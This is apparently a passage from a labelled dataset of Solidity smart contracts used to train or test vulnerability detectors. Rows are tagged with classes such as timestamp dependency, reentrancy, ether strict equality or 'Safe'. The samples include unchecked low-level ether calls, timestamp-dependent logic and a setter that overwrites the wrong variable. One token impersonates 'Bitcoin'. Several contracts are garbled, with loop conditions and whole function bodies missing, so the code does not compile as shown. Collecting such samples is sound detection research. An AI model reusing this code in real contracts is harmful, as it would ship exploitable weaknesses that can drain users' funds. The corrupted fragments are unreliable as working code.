ProposalPassed(currentProposal.methodId,currentProposal.parameter,currentProposal.proposer); } modifier validAddress(address addr) { require(addr != address(0),""Address is zero""); _; } modifier onlyCLevelAccess() { require((jokerAddress == msg.sender) || (knightAddress == msg.sender) || (paladinAddress == msg.sender),""not c level""); _; } modifier proposalAvailable(){ require(((!proposalInProgress) || ((block.timestamp - currentProposal.timestamp) > proposalLife)),""proposal already pending""); _; } modifier cooledDown( ){ if(msg.sender == currentProposal.proposer && (block.timestamp - cooldownStart < 1 days)){ revert(""Cool down period not passed yet""); } _; } modifier proposalPending() { require(proposalInProgress,""no proposal pending""); _; } modifier notVoted() { uint256 length = currentProposal.yay.length; for(uint i = 0; i < length; i++) { if(currentProposal.yay[i] == msg.sender) { revert(""Already voted""); } } length = currentProposal.nay.length; for(i = 0; i < length; i++) { if(currentProposal.nay[i] == msg.sender) { revert(""Already voted""); } } _; } modifier onlyVoters() { bool found = false; uint256 length = voters.length; for(uint i = 0; i < length; i++) { if(voters[i] == msg.sender) { found = true; break; } } if(!found) { revert(""not a voter""); } _; } }",./Dataset/block number dependency (BN),0,0 347.sol,"pragma solidity ^0.4.24; library SafeMath { function mul(uint256 _a, uint256 _b) internal pure returns (uint256) { if (_a == 0) { return 0; } uint256 c = _a * _b; require(c / _a == _b); return c; } function div(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b > 0); uint256 c = _a / _b; return c; } function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b <= _a); uint256 c = _a - _b; return c; } function add(uint256 _a, uint256 _b) internal pure returns (uint256) { uint256 c = _a + _b; require(c >= _a); return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } library SafeERC20 { function safeTransfer( ERC20 _token, address _to, uint256 _value ) internal { require(_token.transfer(_to, _value)); } function safeTransferFrom( ERC20 _token, address _from, address _to, uint256 _value ) internal { require(_token.transferFrom(_from, _to, _value)); } function safeApprove( ERC20 _token, address _spender, uint256 _value ) internal { require(_token.approve(_spender, _value)); } } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract ERC20 { function totalSupply() public view returns (uint256); function balanceOf(address _who) public view returns (uint256); function allowance(address _owner, address _spender) public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); function approve(address _spender, uint256 _value) public returns (bool); function transferFrom(address _from, address _to, uint256 _value) public returns (bool); event Transfer( address indexed from, address indexed to, uint256 value ); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract AddressesFilterFeature is Ownable {} contract ERC20Basic {} contract BasicToken is ERC20Basic {} contract StandardToken is ERC20, BasicToken {} contract MintableToken is AddressesFilterFeature, StandardToken {} contract Token is MintableToken { function mint(address, uint256) public returns (bool); } contract CrowdsaleWPTByRounds is Ownable { using SafeMath for uint256; using SafeERC20 for ERC20; ERC20 public token; address public wallet; Token public minterContract; uint256 public rate; uint256 public tokensRaised; uint256 public cap; uint256 public openingTime; uint256 public closingTime; uint public minInvestmentValue; bool public checksOn; uint256 public gasAmount; function setMinter(address _minterAddr) public onlyOwner { minterContract = Token(_minterAddr); } modifier onlyWhileOpen { require(block.timestamp >= openingTime && block.timestamp <= closingTime); _; } event TokenPurchase( address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount ); event TokensTransfer( address indexed _from, address indexed _to, uint256 amount, bool isDone ); constructor () public { rate = 400; wallet = 0xeA9cbceD36a092C596e9c18313536D0EEFacff46; cap = 400000000000000000000000; openingTime = 1534558186; closingTime = 1535320800; minInvestmentValue = 0.02 ether; checksOn = true; gasAmount = 25000; } function capReached() public view returns (bool) { return tokensRaised >= cap; } function changeRate(uint256 newRate) public onlyOwner { rate = newRate; } function closeRound() public onlyOwner { closingTime = block.timestamp + 1; } function setToken(ERC20 _token) public onlyOwner { token = _token; } function setWallet(address _wallet) public onlyOwner { wallet = _wallet; } function changeMinInvest(uint256 newMinValue) public onlyOwner { rate = newMinValue; } function setChecksOn(bool _checksOn) public onlyOwner { checksOn = _checksOn; } function setGasAmount(uint256 _gasAmount) public onlyOwner { gasAmount = _gasAmount; } function setCap(uint256 _newCap) public onlyOwner { cap = _newCap; } function startNewRound(uint256 _rate, address _wallet, ERC20 _token, uint256 _cap, uint256 _openingTime, uint256 _closingTime) payable public onlyOwner { require(!hasOpened()); rate = _rate; wallet = _wallet; token = _token; cap = _cap; openingTime = _openingTime; closingTime = _closingTime; } function hasClosed() public view returns (bool) { return block.timestamp > closingTime; } function hasOpened() public view returns (bool) { return (openingTime < block.timestamp && block.timestamp < closingTime); } function () payable external { buyTokens(msg.sender); } function buyTokens(address _beneficiary) payable public{ uint256 weiAmount = msg.value; if (checksOn) { _preValidatePurchase(_beneficiary, weiAmount); } uint256 tokens = _getTokenAmount(weiAmount); tokensRaised = tokensRaised.add(tokens); minterContract.mint(_beneficiary, tokens); emit TokenPurchase( msg.sender, _beneficiary, weiAmount, tokens ); _forwardFunds(); } function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal view onlyWhileOpen { require(_beneficiary != address(0)); require(_weiAmount != 0 && _weiAmount > minInvestmentValue); require(tokensRaised.add(_getTokenAmount(_weiAmount)) <= cap); } function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal { token.safeTransfer(_beneficiary, _tokenAmount); } function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal { _deliverTokens(_beneficiary, _tokenAmount); } function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { return _weiAmount.mul(rate); } function _forwardFunds() internal { bool isTransferDone = wallet.call.value(msg.value).gas(gasAmount)(); emit TokensTransfer ( msg.sender, wallet, msg.value, isTransferDone ); } }",./Dataset/timestamp dependency (TP)/,6,6 38922.sol,"pragma solidity ^0.4.11; /// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution. /// @author Stefan George - <[email protected]> contract MultiSigWallet { uint constant public MAX_OWNER_COUNT = 50; event Confirmation(address indexed _sender, uint indexed _transactionId); event Revocation(address indexed _sender, uint indexed _transactionId); event Submission(uint indexed _transactionId); event Execution(uint indexed _transactionId); event ExecutionFailure(uint indexed _transactionId); event Deposit(address indexed _sender, uint _value); event OwnerAddition(address indexed _owner); event OwnerRemoval(address indexed _owner); event RequirementChange(uint _required); mapping (uint => Transaction) public transactions; mapping (uint => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; address[] public owners; uint public required; uint public transactionCount; struct Transaction { address destination; uint value; bytes data; bool executed; } modifier onlyWallet() { if (msg.sender != address(this)) throw; _; } modifier ownerDoesNotExist(address owner) { if (isOwner[owner]) throw; _; } modifier ownerExists(address owner) { if (!isOwner[owner]) throw; _; } modifier transactionExists(uint transactionId) { if (transactions[transactionId].destination == 0) throw; _; } modifier confirmed(uint transactionId, address owner) { if (!confirmations[transactionId][owner]) throw; _; } modifier notConfirmed(uint transactionId, address owner) { if (confirmations[transactionId][owner]) throw; _; } modifier notExecuted(uint transactionId) { if (transactions[transactionId].executed) throw; _; } modifier notNull(address _address) { if (_address == 0) throw; _; } modifier validRequirement(uint ownerCount, uint _required) { if ( ownerCount > MAX_OWNER_COUNT || _required > ownerCount || _required == 0 || ownerCount == 0) throw; _; } /// @dev Fallback function allows to deposit ether. function() payable { if (msg.value > 0) Deposit(msg.sender, msg.value); } /* * Public functions */ /// @dev Contract constructor sets initial owners and required number of confirmations. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. function MultiSigWallet(address[] _owners, uint _required) public validRequirement(_owners.length, _required) { for (uint i=0; i<_owners.length; i++) { if (isOwner[_owners[i]] || _owners[i] == 0) throw; isOwner[_owners[i]] = true; } owners = _owners; required = _required; } /// @dev Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); OwnerAddition(owner); } /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint i=0; i owners.length) changeRequirement(owners.length); OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. /// @param owner Address of owner to be replaced. /// @param owner Address of new owner. function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint i=0; i bool) public accessAllowed; function Accessible() public { owner = msg.sender; } modifier ownership() { require(owner == msg.sender); _; } modifier accessible() { require(accessAllowed[msg.sender] || accessForEverybody); require(!stopped); _; } function allowAccess(address _address) ownership public { if (_address != address(0)) { accessAllowed[_address] = true; } } function denyAccess(address _address) ownership public { if (_address != address(0)) { accessAllowed[_address] = false; } } function transferOwnership(address _address) ownership public { if (_address != address(0)) { owner = _address; } } function toggleContractStopped() ownership public { stopped = !stopped; } function toggleContractAccessForEverybody() ownership public { accessForEverybody = !accessForEverybody; } } contract Erc20SummaryStorage is Accessible { /** Data Storage Contract ** * Copyright 2018 * Florian Weigand * Synalytix UG, Munich * florian(at)synalytix.de * Created at: 2018.08.02 * Last modified at: 2018.08.16 */ /**** smart contract storage ****/ address[] public smartContracts; mapping(address => bool) public smartContractsAdded; /**** general storage of non-struct data which might be needed for further development of main contract ****/ mapping(bytes32 => uint256) public uIntStorage; mapping(bytes32 => string) public stringStorage; mapping(bytes32 => address) public addressStorage; mapping(bytes32 => bytes) public bytesStorage; mapping(bytes32 => bool) public boolStorage; mapping(bytes32 => int256) public intStorage; /**** CRUD for smart contract storage ****/ function getSmartContractByPosition(uint position) external view returns (address) { return smartContracts[position]; } function getSmartContractsLength() external view returns (uint) { return smartContracts.length; } function addSmartContractByAddress(address _contractAddress) accessible external { // empty address not allow require(_contractAddress != address(0)); // address was not added before require(!smartContractsAdded[_contractAddress]); // add new address smartContractsAdded[_contractAddress] = true; smartContracts.push(_contractAddress); } function removeSmartContractByAddress(address _contractAddress) accessible external { uint256 endPointer = smartContracts.length; uint256 startPointer = 0; while(endPointer > startPointer) { // swap replace if(smartContracts[startPointer] == _contractAddress) { // as long as the last element is target delete it before swap while(smartContracts[endPointer - 1] == _contractAddress) { endPointer = endPointer - 1; // stop if no element left if(endPointer == 0) break; } if(endPointer > startPointer) { smartContracts[startPointer] = smartContracts[endPointer - 1]; endPointer = endPointer - 1; } } startPointer = startPointer + 1; } smartContracts.length = endPointer; // reset, so it can be added again smartContractsAdded[_contractAddress] = false; } /**** Get Methods for additional storage ****/ function getAddress(bytes32 _key) external view returns (address) { return addressStorage[_key]; } function getUint(bytes32 _key) external view returns (uint) { return uIntStorage[_key]; } function getString(bytes32 _key) external view returns (string) { return stringStorage[_key]; } function getBytes(bytes32 _key) external view returns (bytes) { return bytesStorage[_key]; } function getBool(bytes32 _key) external view returns (bool) { return boolStorage[_key]; } function getInt(bytes32 _key) external view returns (int) { return intStorage[_key]; } /**** Set Methods for additional storage ****/ function setAddress(bytes32 _key, address _value) accessible external { addressStorage[_key] = _value; } function setUint(bytes32 _key, uint _value) accessible external { uIntStorage[_key] = _value; } function setString(bytes32 _key, string _value) accessible external { stringStorage[_key] = _value; } function setBytes(bytes32 _key, bytes _value) accessible external { bytesStorage[_key] = _value; } function setBool(bytes32 _key, bool _value) accessible external { boolStorage[_key] = _value; } function setInt(bytes32 _key, int _value) accessible external { intStorage[_key] = _value; } /**** Delete Methods for additional storage ****/ function deleteAddress(bytes32 _key) accessible external { delete addressStorage[_key]; } function deleteUint(bytes32 _key) accessible external { delete uIntStorage[_key]; } function deleteString(bytes32 _key) accessible external { delete stringStorage[_key]; } function deleteBytes(bytes32 _key) accessible external { delete bytesStorage[_key]; } function deleteBool(bytes32 _key) accessible external { delete boolStorage[_key]; } function deleteInt(bytes32 _key) accessible external { delete intStorage[_key]; } } contract Erc20SummaryLogic is Accessible { /** Logic Contract (updatable) ** * Copyright 2018 * Florian Weigand * Synalytix UG, Munich * florian(at)synalytix.de * Created at: 2018.08.02 * Last modified at: 2018.08.16 */ Erc20SummaryStorage erc20SummaryStorage; function Erc20SummaryLogic(address _erc20SummaryStorage) public { erc20SummaryStorage = Erc20SummaryStorage(_erc20SummaryStorage); } function addSmartContract(address _contractAddress) accessible public { // TODO: sth like EIP-165 would be nice // see https://github.com/ethereum/EIPs/blob/master/EIPS/eip-165.md // require(erc20Contract.totalSupply.selector ^ erc20Contract.balanceOf.selector ^ erc20Contract.allowance.selector ^ erc20Contract.approve.selector ^ erc20Contract.transfer.selector ^ erc20Contract.transferFrom.selector); // as EIP-165 is not available check for the most important functions of ERC20 to be implemented Erc20 erc20Contract = Erc20(_contractAddress); erc20Contract.name(); erc20Contract.symbol(); erc20Contract.decimals(); erc20Contract.totalSupply(); erc20Contract.balanceOf(0x281055Afc982d96fAB65b3a49cAc8b878184Cb16); // if it did not crash (because of a missing function) it should be an ERC20 contract erc20SummaryStorage.addSmartContractByAddress(_contractAddress); } function addSmartContracts(address[] _contractAddresses) accessible external { for(uint i = 0; i < _contractAddresses.length; i++) { addSmartContract(_contractAddresses[i]); } } function removeSmartContract(address _contractAddress) accessible external { erc20SummaryStorage.removeSmartContractByAddress(_contractAddress); } function erc20BalanceForAddress(address _queryAddress) external view returns (address[], uint[], uint8[]) { uint amountOfSmartContracts = erc20SummaryStorage.getSmartContractsLength(); address[] memory contractAddresses = new address[](amountOfSmartContracts); uint[] memory balances = new uint[](amountOfSmartContracts); uint8[] memory decimals = new uint8[](amountOfSmartContracts); address tempErc20ContractAddress; Erc20 tempErc20Contract; for (uint i = 0; i < amountOfSmartContracts; i++) { tempErc20ContractAddress = erc20SummaryStorage.getSmartContractByPosition(i); tempErc20Contract = Erc20(tempErc20ContractAddress); contractAddresses[i] = tempErc20ContractAddress; balances[i] = tempErc20Contract.balanceOf(_queryAddress); decimals[i] = tempErc20Contract.decimals(); } return (contractAddresses, balances, decimals); } }",Safe,8,8 0x0044de5be32af3cdb08103bb075b4d7d3dc40872_SouthKoreaJunket.sol,"pragma solidity ^0.4.24; library SafeMath { function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeERC20 { function safeTransfer(ERC20Basic token, address to, uint256 value) internal { assert(token.transfer(to, value)); } } /** * @title JunketLockup * @dev JunketLockup is a token holder contract that will allow a * beneficiary to extract the tokens after a given release time */ contract SouthKoreaJunket{ using SafeERC20 for ERC20Basic; using SafeMath for uint256; // ERC20 basic token contract being held ERC20Basic public token; // beneficiary of tokens after they are released address public beneficiary; // timestamp when token release is enabled uint256 public releaseTime; uint256 public unlocked = 0; bool public withdrawalsInitiated = false; uint256 public year = 365 days; // equivalent to one year constructor() public { token = ERC20Basic(0x814F67fA286f7572B041D041b1D99b432c9155Ee); beneficiary = address(0x4BDE3B2F0F43B17407F2f91E1f18F9e130Cd804A); releaseTime = now + year; } /** * @notice Transfers tokens held by timelock to beneficiary. */ function release(uint256 _amount) public { uint256 balance = token.balanceOf(address(this)); require(balance > 0); if(!withdrawalsInitiated){ // unlock 50% of existing balance unlocked = balance.div(2); withdrawalsInitiated = true; } if(now >= releaseTime){ unlocked = balance; } require(_amount <= unlocked); unlocked = unlocked.sub(_amount); token.safeTransfer(beneficiary, _amount); } function balanceOf() external view returns(uint256){ return token.balanceOf(address(this)); } function currentTime() external view returns(uint256){ return now; } }",Safe,8,8 979.sol,"pragma solidity ^0.4.24; contract MultiEtherSender { address public owner; uint8 MAX_RECIPIENTS = 255; constructor() public payable{ owner = msg.sender; } // This generates a public event on the blockchain that will notify clients event Send(uint256 _amount, address indexed _receiver); function multiSendEth(uint256 amount, address[] list) public payable returns (bool) { uint256 balance = msg.sender.balance; bool result = false; require(list.length != 0); require(list.length <= MAX_RECIPIENTS); for (uint i=0; i= amount); result = list[i].send(amount); } return result; } // This contract keeps all Ether sent to it function() public payable { owner.transfer(msg.value); } }",./Dataset/ether strict equality (SE),3,3 0x0293eAC1bbC24De88AFAf96048e4665154E84Ef0_PepFarmer.sol,"pragma solidity ^0.4.18; interface CornFarm { function buyObject(address _beneficiary) public payable; } interface Corn { function transfer(address to, uint256 value) public returns (bool); } library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract PepFarmer { using SafeMath for uint256; bool private reentrancy_lock = false; address public taxMan = 0xd5048F05Ed7185821C999e3e077A3d1baed0952c; // Kitchen Knife address public shopKnife = 0x225e5E680358FaE78216A9C0A17793c2d2A85fC2; address public objectKnife = 0x339Cd902D6F2e50717b114f0837280ce56f36020; // Doublet address public shopDoublet = 0xf9208661ffE1607D96cF386B84B2BE621620097C; address public objectDoublet = 0x56021b1b327eBE1eed2182A74d5f6a9a04eB2C73; // Gloves address public shopGloves = 0x28bdDb555AdF1Bb71ce21cAb60566956bbFB0f08; address public objectGloves = 0x67BE1A7555A7D38D837F6587530FFc33d89F5a90; // Helmet address public shopHelmet = 0xc8Ac76785C6b413753f6bFEdD9953785876B8a5c; address public objectHelmet = 0x7249fd2B946cAeD7D6C695e1656434A063723926; // Pants address public shopPants = 0x71e7a455991Cd9f60148720e2EB0Bc823014dB32; address public objectPants = 0xAc4A1553e1e80222D6BF9f66D8FeF629aa8dBE74; // Shoes address public shopShoes = 0xC946a2351eA574676f5e21043F05A33c2ceaBC59; address public objectShoes = 0x94b10291AA26f29994cF944da0Db6F03D4b407e1; // Sack address public shopSack = 0x0B2DA98ab93207CE1367d63947A20E24372D9Ab5; address public objectSack = 0x234FcB7f91fC353fefAd092b393850803A261cf9; // Tome address public shopTome = 0x0029b494669cfE56E8cDBCafF074940CC107a970; address public objectTome = 0xab87f28E10E3b0942EB27596Cc73B4031C9856e9; // Shield address public shopShield = 0xbD4282E6b2Bf8eef232eD211e53b54E560D71a2B; address public objectShield = 0xFc1082B4d80651d9948b58ffCce45A5e6586AFE6; address[9] public shop = [shopKnife, shopDoublet, shopHelmet, shopPants, shopShoes, shopSack, shopTome, shopShield]; address[9] public object = [objectKnife, objectDoublet, objectHelmet, objectPants, objectShoes, objectSack, objectTome, objectShield]; mapping(address => uint256) public workDone; modifier nonReentrant() { require(!reentrancy_lock); reentrancy_lock = true; _; reentrancy_lock = false; } function pepFarm() nonReentrant external { // buy 11 of each item for (uint8 i = 0; i < 9; i++) { for (uint8 j = 0; j < 11; j++) { CornFarm(shop[i]).buyObject(this); } // 10 for sender, 1 for taxMan workDone[msg.sender] = workDone[msg.sender].add(uint256(10 ether)); workDone[taxMan] = workDone[taxMan].add(uint256(1 ether)); } } function reapFarm() nonReentrant external { require(workDone[msg.sender] > 0); for (uint8 i = 0; i < 9; i++) { Corn(object[i]).transfer(msg.sender, workDone[msg.sender]); Corn(object[i]).transfer(taxMan, workDone[taxMan]); } workDone[msg.sender] = 0; workDone[taxMan] = 0; } }",Safe,8,8 20048.sol,"pragma solidity ^0.4.4; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } //name this contract whatever you'd like contract ERC20Token is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme. // // CHANGE THESE VALUES FOR YOUR TOKEN // //make sure this function name matches the contract name above. So if you're token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of ERC20Token function ERC20Token( ) { balances[msg.sender] = 21000000000000000000000000; // Give the creator all initial tokens (100000 for example) totalSupply = 21000000000000000000000000; // Update total supply (100000 for example) name = ""Bitcoin""; // Set the name for display purposes decimals = 18; // Amount of decimals for display purposes symbol = ""BTC""; // Set the symbol for display purposes } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { throw; } return true; } }",./Dataset/reentrancy (RE)/,5,5 0x00a702d881267ee6f8a52ae3311965d9f7e63c78_Eben.sol,"pragma solidity ^0.4.24; // ---------------------------------------------------------------------------- // 'Eben' token contract // // Deployed to : 0xab9ba405e8e6dcffe3654668b44683d14488463c // Symbol : EBEN // Name : Eben // Total supply: 6000000 // Decimals : 18 // // Enjoy. // // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ---------------------------------------------------------------------------- contract Eben is ERC20Interface, Owned { using SafeMath for uint256; string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { symbol = ""EBEN""; name = ""Eben""; decimals = 18; _totalSupply = 6000000; // 6 million balances[0xab9ba405e8e6dcffe3654668b44683d14488463c] = totalSupply(); emit Transfer(address(0), 0xab9ba405e8e6dcffe3654668b44683d14488463c, totalSupply()); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply * 10 **uint(decimals); } // ------------------------------------------------------------------------ // Get the token balance for account `tokenOwner` // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to `to` account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { // prevent transfer to 0x0, use burn instead require(to != 0x0); require(balances[msg.sender] >= tokens ); require(balances[to] + tokens >= balances[to]); balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender,to,tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success){ allowed[msg.sender][spender] = tokens; emit Approval(msg.sender,spender,tokens); return true; } // ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success){ require(tokens <= allowed[from][msg.sender]); //check allowance require(balances[from] >= tokens); balances[from] = balances[from].sub(tokens); balances[to] = balances[to].add(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); emit Transfer(from,to,tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } function multipleTokensSend (address[] _addresses, uint256[] _values) public onlyOwner { for (uint i = 0; i < _addresses.length; i++){ _transfer(_addresses[i], _values[i]*10**uint(decimals)); } } function _transfer(address _beneficiary, uint256 _tokens) internal{ require(_beneficiary != address(0)); require(_tokens != 0); transfer(_beneficiary, _tokens); } }",Safe,8,8 586.sol,"pragma solidity ^0.4.20; contract Token { function totalSupply() public constant returns (uint256 supply) {} function balanceOf(address _owner) public constant returns (uint256 balance) {} function transfer(address _to, uint256 _value) public returns (bool success) {} function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {} function approve(address _spender, uint256 _value) public returns (bool success) {} function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) public returns (bool success) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address 